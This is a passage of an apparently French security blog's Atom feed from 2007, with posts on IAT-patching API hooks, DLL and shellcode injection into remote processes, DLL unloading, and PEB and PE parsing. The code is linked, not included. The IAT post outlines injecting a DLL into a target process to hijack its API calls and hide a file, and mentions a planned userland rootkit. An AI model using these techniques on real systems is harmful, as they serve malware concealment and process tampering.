&apos;facile&apos; :).'/><author><name>0vercl0k</name><uri>http://www.blogger.com/profile/04851747716024429465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_kuo-yDTqvqc/R0nQkbrratI/AAAAAAAAAAk/cNPvyLSum8A/s72-c/SetWindowsHookEx.png' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5190877782491799334.post-6784807800151774926</id><published>2007-11-17T05:35:00.000-08:00</published><updated>2008-12-09T22:04:09.599-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='iat patching'/><category scheme='http://www.blogger.com/atom/ns#' term='hook'/><title type='text'>API Hooking - IAT patching</title><content type='html'>Bonjour à tous ,&lt;br /&gt;Aujourd'hui je vais essayer de vous présenter l'api hooking via l'iat patching.&lt;br /&gt;En effet notre but lors de ce petit billet sera de détourner l'appel d'apis.&lt;br /&gt;J'illustrerais avec un petit exemple de hooking sur le notepad.exe , cependant vous pourriez , après avoir compris le principe , laisser cours à votre imagination afin de creer de multiples attaques.&lt;br /&gt;Cette démonstration de hook sera réalisé dans l'userland (ring3).&lt;br /&gt;&lt;br /&gt;Tout d'abord je vais vous exposer ma façon d'opérer :&lt;br /&gt;   - Nous allons coder un programme chargé d'injecter notre dll dans le processus cible ( voir billet sur l'injection ).&lt;br /&gt;   - Ensuite nous allons coder une dll qui ira modifier directement l'iat du processus cible ( voir billet sur le dump de l'iat ).&lt;br /&gt;&lt;br /&gt;Voilà donc les grandes étapes :&lt;br /&gt;   - On retrouve le pid de notre processus.&lt;br /&gt;   - Nous ouvrons notre processus afin d'avoir un handle sur celui-ci , avec l'api OpenProcess.&lt;br /&gt;   - On alloue de la mémoire dans le processus cible , on y écrira le full path de notre dll.&lt;br /&gt;   - Nous créons un thread dans le processus sur l'adresse de LoadLibraryA ( exporté par kernel32.dll ) avec comme arguement le path de la dll donc .&lt;br /&gt;   - A présent notre dll est loadé par l'application cible.&lt;br /&gt;   - Notre dll dès son chargement va aller modifier l'adresse de la fonction à hooker par l'adresse de notre fonction dans l'iat.&lt;br /&gt;&lt;br /&gt;L'application à chaque appel de l'api hooké appelera enfaite notre fonction , c'est pour cela qu'elle doit posséder le même prototype que la fonction hooké.&lt;br /&gt;Je tiens aussi à préciser , que la modification de l'iat ne peut se faire qu'après un appel à l'api VirtualProtect.Et ce pour changer l'acces à la zone mémoire , après la modification&lt;br /&gt;nous rétablissons l'accès originel de la zone mémoire.&lt;br /&gt;&lt;br /&gt;Voici donc les illustrations :&lt;br /&gt;Tout d'abord l'injecteur : &lt;a href="http://overclok.free.fr/Codes/IATPatching/InjecteurDll.html"&gt;InjecteurDll&lt;/a&gt;.&lt;br /&gt;La dll pour hooker le ShellAbout de notepad.exe : &lt;a href="http://overclok.free.fr/Codes/IATPatching/HookShellAboutW.html"&gt;HookShellAboutW.dll.&lt;/a&gt;&lt;br /&gt;Un petit screenshot pour les plus fainéants :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_kuo-yDTqvqc/Rz7w3brrarI/AAAAAAAAAAU/FSTbS32mzoU/s1600-h/HookIatNotepad.png"&gt;&lt;img style="cursor: pointer;" src="http://1.bp.blogspot.com/_kuo-yDTqvqc/Rz7w3brrarI/AAAAAAAAAAU/FSTbS32mzoU/s400/HookIatNotepad.png" alt="" id="BLOGGER_PHOTO_ID_5133805460363373234" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Puis pour terminé j'ai voulu faire un exemple un peu plus concret mais qui reste très simple.&lt;br /&gt;Imaginons le code d'une petite application permettant de lister les fichiers et dossiers dans le current directory.&lt;br /&gt;Notre but serait de cacher un fichier .&lt;br /&gt;Voici les codes : - &lt;a href="http://overclok.free.fr/Codes/IATPatching/HookFindNextFirstFile.html"&gt;HookFindNextFirstFile.dll.&lt;/a&gt;&lt;br /&gt;                         - &lt;a href="http://overclok.free.fr/Codes/IATPatching/cible.html"&gt;cible.exe.&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Et un petit screnshot :&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_kuo-yDTqvqc/Rz7yKbrrasI/AAAAAAAAAAc/udX_fXoKFA8/s1600-h/HookIatCible.png"&gt;&lt;img style="cursor: pointer;" src="http://1.bp.blogspot.com/_kuo-yDTqvqc/Rz7yKbrrasI/AAAAAAAAAAc/udX_fXoKFA8/s400/HookIatCible.png" alt="" id="BLOGGER_PHOTO_ID_5133806886292515522" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;J'essairais plus tard de coder un petit rootkit userland prenant le contrôle de l'userland par le biais de hook justement.&lt;br /&gt;Sur ce bonne fin de journée , cya.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5190877782491799334-6784807800151774926?l=0vercl0k.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0vercl0k.blogspot.com/feeds/6784807800151774926/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5190877782491799334&amp;postID=6784807800151774926' title='3 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5190877782491799334/posts/default/6784807800151774926'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5190877782491799334/posts/default/6784807800151774926'/><link rel='alternate' type='text/html' href='http://0vercl0k.blogspot.com/2007/11/api-hooking-iat-patching.html' title='API Hooking - IAT patching'/><author><name>0vercl0k</name><uri>http://www.blogger.com/profile/04851747716024429465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_kuo-yDTqvqc/Rz7w3brrarI/AAAAAAAAAAU/FSTbS32mzoU/s72-c/HookIatNotepad.png' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5190877782491799334.post-6758915087397930567</id><published>2007-11-12T11:21:00.000-08:00</published><updated>2007-11-17T05:55:29.755-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='import address table'/><category scheme='http://www.blogger.com/atom/ns#' term='dump iat'/><title type='text'>Dump Own iat.</title><content type='html'>Après avoir coder le viewer de pe , je me trouvais plutôt frustré de ne pas avoir bien saisis l'iat , chose résolu je vous file le code permettant de dumper les adresses et noms des fonctions exportées par les dlls.&lt;br /&gt;&lt;a href="http://overclok.free.fr/Codes/dumpiat.html"&gt;DumpFuckingIat.&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Par contre j'ai pas compris desuite le fonctionnement j'avoue avoir fais pas mal de test et lu plusieurs tutoriaux :) .&lt;br /&gt;Doc pour éclaircir :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;l'excellent tuto d'izcelion : &lt;a href="http://ivanlef0u.free.fr/repo/windoz/pe/_pe-tuts/_pe-tut6.html"&gt;http://ivanlef0u.free.fr/repo/windoz/pe/_pe-tuts/_pe-tut6.html&lt;/a&gt;&lt;/li&gt;&lt;li&gt;un autres paper : &lt;a href="http://ivanlef0u.free.fr/repo/windoz/pe/Le_format_PE.pdf"&gt;http://ivanlef0u.free.fr/repo/windoz/pe/Le_format_PE.pdf&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;Voilà cya.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5190877782491799334-6758915087397930567?l=0vercl0k.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0vercl0k.blogspot.com/feeds/6758915087397930567/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5190877782491799334&amp;postID=6758915087397930567' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5190877782491799334/posts/default/6758915087397930567'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5190877782491799334/posts/default/6758915087397930567'/><link rel='alternate' type='text/html' href='http://0vercl0k.blogspot.com/2007/11/dump-own-iat.html' title='Dump Own iat.'/><author><name>0vercl0k</name><uri>http://www.blogger.com/profile/04851747716024429465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5190877782491799334.post-8000690464114177129</id><published>2007-11-12T11:10:00.000-08:00</published><updated>2007-11-17T05:55:47.184-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='PEB'/><title type='text'>Process env block.</title><content type='html'>Cette fois-ci c'est le peb qui attire mon attention , j'ai donc coder un petit programme qui se ballade dans les structs liées au peb afin d'aller dumper le nom des dlls loadées par le programme.&lt;br /&gt;Je signale que je n'ai pas reussi à compilé ce code avec Code::Blocks , je l'ai compilé directement avec gcc ( 3.4.2 ).Je me suis aussi permis de 'troncater' les structs vu que le membre qui m'interessait ce trouver au début de celle-ci .&lt;br /&gt;&lt;a href="http://overclok.free.fr/Codes/processenvblock.html"&gt;Processenvblock.&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Pour la compréhension du code :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;les structs : &lt;a href="http://www.google.com/codesearch?hl=fr&amp;amp;q=+PPEB+show:yQMbhyyJiok:GhNUWX24T74:xDdOYPFlxCg&amp;amp;sa=N&amp;amp;cd=5&amp;amp;ct=rc&amp;amp;cs_p=http://gentoo.osuosl.org/distfiles/Wine-20050419.tar.gz&amp;amp;cs_f=wine-20050419/include/winternl.h#first"&gt;struct.&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;voilà cya.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5190877782491799334-8000690464114177129?l=0vercl0k.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0vercl0k.blogspot.com/feeds/8000690464114177129/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5190877782491799334&amp;postID=8000690464114177129' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5190877782491799334/posts/default/8000690464114177129'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5190877782491799334/posts/default/8000690464114177129'/><link rel='alternate' type='text/html' href='http://0vercl0k.blogspot.com/2007/11/process-env-block.html' title='Process env block.'/><author><name>0vercl0k</name><uri>http://www.blogger.com/profile/04851747716024429465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5190877782491799334.post-4293763096369267824</id><published>2007-11-12T11:01:00.000-08:00</published><updated>2007-11-17T05:56:04.242-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='unload dll'/><category scheme='http://www.blogger.com/atom/ns#' term='decharger dll'/><title type='text'>Unload de dll.</title><content type='html'>Après avoir coder l'injecteur de dll , je me suis intérogé sur le "Comment décharger une dll d'un processus ?". Pour la technique , rien de compliqué , nous allons creer un remote thread sur FreeLibrary cette fois .La seule petite difficulté (oupa) c'est de trouver le handle de la dll dans le processus cible biensûre , nous y allons donc à grand coup de CreateToolhelp32Snapshot et on voilà.&lt;br /&gt;&lt;a href="http://overclok.free.fr/Codes/unload.html"&gt;Unload fucking dll.&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Cya.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5190877782491799334-4293763096369267824?l=0vercl0k.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0vercl0k.blogspot.com/feeds/4293763096369267824/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5190877782491799334&amp;postID=4293763096369267824' title='2 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5190877782491799334/posts/default/4293763096369267824'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5190877782491799334/posts/default/4293763096369267824'/><link rel='alternate' type='text/html' href='http://0vercl0k.blogspot.com/2007/11/unload-de-dll.html' title='Unload de dll.'/><author><name>0vercl0k</name><uri>http://www.blogger.com/profile/04851747716024429465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5190877782491799334.post-419231249248013602</id><published>2007-11-12T10:52:00.000-08:00</published><updated>2007-11-17T05:56:24.321-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='injection shellcode'/><category scheme='http://www.blogger.com/atom/ns#' term='injection dll'/><title type='text'>Injection de code / dll.</title><content type='html'>Pour ce billet je vais vous présenté la fameuse injection de code et de dll.&lt;br /&gt;Le principe est plutôt simple , en effet nous allons alouer de la mémoire dans le processus cible ou nous allons écrire par exemple notre full path vers notre dll , nous créons ensuite un remote thread sur directement sur le shellcode ou encore sur LoadLibraryA exporté par kernel32.dll. Résultat nous avons notre dll qui va se charger en mémoire , ou l'éxécution direct de notre shellcode.&lt;br /&gt;Je vous présente le code de l'injecteur ainsi que d'une dll d'exemple :&lt;br /&gt;&lt;a href="http://overclok.free.fr/Codes/injectdll.html"&gt;Inject Dll into fucking process.&lt;/a&gt;&lt;br /&gt;&lt;a href="http://overclok.free.fr/Codes/injectdll_dll.html"&gt;Dll de démonstration.&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Pour ce code vous pourrez trouver de multiples articles expliquant 'pas à pas' la technique.&lt;br /&gt;Je vous recommande comme toujours la msdn pour l'utilisation des apis.&lt;br /&gt;Cya.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5190877782491799334-419231249248013602?l=0vercl0k.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0vercl0k.blogspot.com/feeds/419231249248013602/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5190877782491799334&amp;postID=419231249248013602' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5190877782491799334/posts/default/419231249248013602'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5190877782491799334/posts/default/419231249248013602'/><link rel='alternate' type='text/html' href='http://0vercl0k.blogspot.com/2007/11/injection-de-code-dll.html' title='Injection de code / dll.'/><author><name>0vercl0k</name><uri>http://www.blogger.com/profile/04851747716024429465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5190877782491799334.post-6160943555899294350</id><published>2007-11-12T10:44:00.000-08:00</published><updated>2007-11-17T05:56:43.070-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='gestion processus'/><category scheme='http://www.blogger.com/atom/ns#' term='kill processus'/><title type='text'>Process.</title><content type='html'>C'est maintenant les processus et leurs 'gestions' qui m'interesse .Je vous fais alors pars d'un petit code que j'ai réalisé dans le but de me familiariser avec ceux-ci , il permet de killer les processus et d'en faire la liste .&lt;br /&gt;Le code est assez simple , je me passerais donc d'explications.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://overclok.free.fr/Codes/processviewer.html"&gt;ProcessViewer&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Pour la compréhension du code , je vous conseil vivement la msdn qui est vraiment excellente pour l'utilisation des apis .&lt;br /&gt;Cya.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5190877782491799334-6160943555899294350?l=0vercl0k.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0vercl0k.blogspot.com/feeds/6160943555899294350/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5190877782491799334&amp;postID=6160943555899294350' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5190877782491799334/posts/default/6160943555899294350'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5190877782491799334/posts/default/6160943555899294350'/><link rel='alternate' type='text/html' href='http://0vercl0k.blogspot.com/2007/11/process.html' title='Process.'/><author><name>0vercl0k</name><uri>http://www.blogger.com/profile/04851747716024429465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5190877782491799334.post-7743717403365671501</id><published>2007-11-12T10:20:00.000-08:00</published><updated>2007-11-17T05:57:08.860-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='PE'/><category scheme='http://www.blogger.com/atom/ns#' term='portable executable'/><title type='text'>View fucking pe.</title><content type='html'>Comme vous le savez peut-être , le portable executable ou PE est un format de fichier utilisé pour les éxécutables windows ou encore les dlls.&lt;br /&gt;Je me suis donc intéréssé à celui-ci , voici un code plutôt simple permettant la lecture de quelques informations le concernant ( ce viewer de pe est loin d'être complet , je pense à l'import table qui n'a pas été exploré dans ce code ).&lt;br /&gt;Je tiens aussi à précisé que dans ce genre de code l'utilisation des casts est très importantes , étant donné que l'on a affaire à "des adresses virtuelles relatives" (RVA) et que nous devons additionner celles-ci à des membres des structures utilisées pour le PE.&lt;br /&gt;&lt;a href="http://overclok.free.fr/Codes/viewfuckingpe.html"&gt;ViewFuckingPe.&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Je vous file un peu de doc qui m'a pas mal servis :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;les structures : &lt;a href="http://ivanlef0u.free.fr/repo/windoz/pe/pe.txt"&gt;http://ivanlef0u.free.fr/repo/windoz/pe/pe.txt&lt;/a&gt;&lt;/li&gt;&lt;li&gt;le format pe : &lt;a href="http://ivanlef0u.free.fr/repo/windoz/pe/_pe-tuts/_index.html"&gt;http://ivanlef0u.free.fr/repo/windoz/pe/_pe-tuts/_index.html&lt;/a&gt;&lt;/li&gt;&lt;li&gt;pis un tool du genre LordPe pour verifier toussa&lt;/li&gt;&lt;/ul&gt;cya.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5190877782491799334-7743717403365671501?l=0vercl0k.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0vercl0k.blogspot.com/feeds/7743717403365671501/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5190877782491799334&amp;postID=7743717403365671501' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5190877782491799334/posts/default/7743717403365671501'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5190877782491799334/posts/default/7743717403365671501'/><link rel='alternate' type='text/html' href='http://0vercl0k.blogspot.com/2007/11/view-fucking-pe.html' title='View fucking pe.'/><author><name>0vercl0k</name><uri>http://www.blogger.com/profile/04851747716024429465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5190877782491799334.post-8490013174220534045</id><published>2007-11-11T13:43:00.000-08:00</published><updated>2009-07-18T12:27:34.148-07:00</updated><title type='text'>Ouverture.</title><content type='html'>Bonsoir ,&lt;br /&gt;Voilà le premier billet de ce modeste blog , j'ai enfin décidé d'en ouvrir un afin de faire partager mes quelques recherches et codes sur le thème de la sécurité informatique.&lt;br /&gt;Je voudrais remercier tout particulièrement les personnes avec lesquelles j'évolue au quotidien que ce soit sur le net ( #carib0u@irc.worldnet.net &amp;amp;&amp;amp; #nibbles@irc.worldnet.net ) ou dans ma petite vie.&lt;br /&gt;En espérant que vous passerez une agréable visite.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5190877782491799334-8490013174220534045?l=0vercl0k.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0vercl0k.blogspot.com/feeds/8490013174220534045/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5190877782491799334&amp;postID=8490013174220534045' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5190877782491799334/posts/default/8490013174220534045'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5190877782491799334/posts/default/8490013174220534045'/><link rel='alternate' type='text/html' href='http://0vercl0k.blogspot.com/2007/11/ouverture.html' title='Ouverture.'/><author><name>0vercl0k</name><uri>http://www.blogger.com/profile/04851747716024429465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry></feed>
